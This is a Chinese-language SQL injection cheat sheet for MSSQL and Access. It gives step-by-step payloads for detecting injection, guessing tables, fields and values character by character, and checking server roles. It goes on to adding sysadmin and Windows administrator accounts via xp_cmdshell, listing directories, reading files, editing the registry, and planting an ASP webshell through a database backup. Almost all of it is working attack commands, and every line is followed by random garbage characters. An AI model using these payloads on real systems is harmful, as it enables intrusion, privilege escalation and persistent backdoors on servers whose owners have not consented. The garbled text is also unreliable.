1.判断是否有注入;and 1=1 ;and 1=2 (ibj~g?U,
2.初步判断是否是mssql ;and user>0 E$1P H)
hqwDlapTt
3.注入参数是字符'and [查询条件] and ''=' =_:Mx'7
i~sW_f+
4.搜索时没过滤参数的'and [查询条件] and '%25'=' lVra&5
*ud/'HR8]
5.判断数据库系统 r0L'
mf$
tB/'3#o
;and (select count(*) from sysobjects)>0 mssql e]k\dj;,^%
3U!#rz"
;and (select count(*) from msysobjects)>0 access h(MNH6B1
d:{#Dk#
RJa1pYK
9JBVG~m+
6.猜数据库 ;and (select Count(*) from [数据库名])>0 -?Kd[Ma
W%_Cda5,
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 'eDV-cB
]7:*A7/!.
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 @?CEi#-
A=bBI>GEYP
9.(1)猜字段的ascii值(access) ,%4~ulKMn
RQQ\y`h`
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 \VAm4
<
s1
(2)猜字段的ascii值(mssql) _<m yM2z
q)QM+4
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 cj@ar^=`K
XZH\HK)K-]
10.测试权限结构(mssql) M%"{OHj!o
a=&{B'^G
;tG@ 6
lSK<LytB
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- m>&:)K}m
rfHAz
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 1|/-Ff"1@
F|!
ib5
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- F7lzc)
56 [+;*
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6H'W]T&
.F^372hH3
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- z 8y.@<6
t~kh?u].j
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~tB#Q6`nB
L yNLz
m5
;and 1=(select IS_MEMBER('db_owner'));-- HtAO9
M=#'+CF}W
.
l-eJ
D V=xqC6}
11.添加mssql和系统的帐户 G'0JK+=o
!.@F,wZvY
;exec master.dbo.sp_addlogin username;-- i(an]%'v
;exec master.dbo.sp_password null,username,password;-- kJk6lPSqi7
b/6!>qMMk%
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- v!6IH
&at>sQ'
;exec master.dbo.xp_cmdshell 'net user username password Rg\D-F6:
Yc2dq e>
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ?G<.W[3
':#DROe!
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1g>>{ y
?cKe~Q?3
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- >bbvQb+j
W_RN@O
(g3@3.Kk)
UoOxGo
12.(1)遍历目录 6~tj"34_
fx*Q,}t
;create table dirs(paths varchar(100), id int) M~Ph/
0P^&{ek+)
;insert dirs exec master.dbo.xp_dirtree 'c:\' nXAGwU8a
bA02)?L
;and (select top 1 paths from dirs)>0 b:(t22m#?
MoC@n+Q+@
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) `9mc+
X3R:^ff\
1HBWOV7z.?
4MPR
(2)遍历目录 Rv Uw,=
9" cyZO
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4GG0jCNk
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 +@qIDUiF3
nQ08(8
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 J!d=aGY0-
v{pW/Fu~
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 &x)n K
0S&C[I
o6
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 iH>IV0
<
dfWtLY
bA\(oD+:
;! ,I1{`
13.mssql中的存储过程 BE)&.}l
79Ur1-]/
xp_regenumvalues 注册表根键, 子键 .\mkgAlyaM
P1dFoQz
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 z
LZHVvL3
"1%\Fi l
xp_regread 根键,子键,键值名 1^tM%2rP'
<['ucp
;exec xp_regread @YbZ"Jb
yi*EE%
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 =}'7}0M_=
L b-xc]
xp_regwrite 根键,子键, 值名, 值类型, 值 fE1VTGfd:
O:Wd
,3_
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 -q&7q
H^<?h6T
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 uoTc c|Kc
RmJ|g<
xp_regdeletevalue 根键,子键,值名 k,LaFe`W
=\)76xC20
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ce7$#
# f
Mo]aB:a
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 9qm'qx
J3hhh(
A`1-c
';LsEI[
14.mssql的backup创建webshell "qoJIwl#q
Sobp;OZ5
use model 0u
bf]Z
f('##pND@
create table cmd(str image); pV*d"~T
#g~]2x
insert into cmd(str) values (''); GW2v&Ul7(
jvhD_L/
backup database model to disk='c:\l.asp'; 74a k|(!
1;HL=F
mh35S!I3I^
e}ivvs2
15.mssql内置函数 tR(L>ZG{
0yxwsBLy
;and (select @@version)>0 获得Windows的版本号 KN~Rep cz@
QB*n
[(?
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3935cxT1U
y1#QP3'Z1
;and (select user_name())>0 爆当前系统的连接用户 n1)]. `
gF\a c%9
;and (select db_name())>0 得到当前连接的数据库 zLg_0r*h1
=Ds&ArG
W=4|ahk$
+f,I$&d.V
16.简洁的webshell OT#foP
R^rA.7T
use model ZVz*1]}
xLw[
aYy4
create table cmd(str image); <Ys7`e6eY
y2Vc[o(NP
insert into cmd(str) values (''); CFeAKjG
Pz-=Eq
backup database model to disk='g:\wwwtest\l.asp';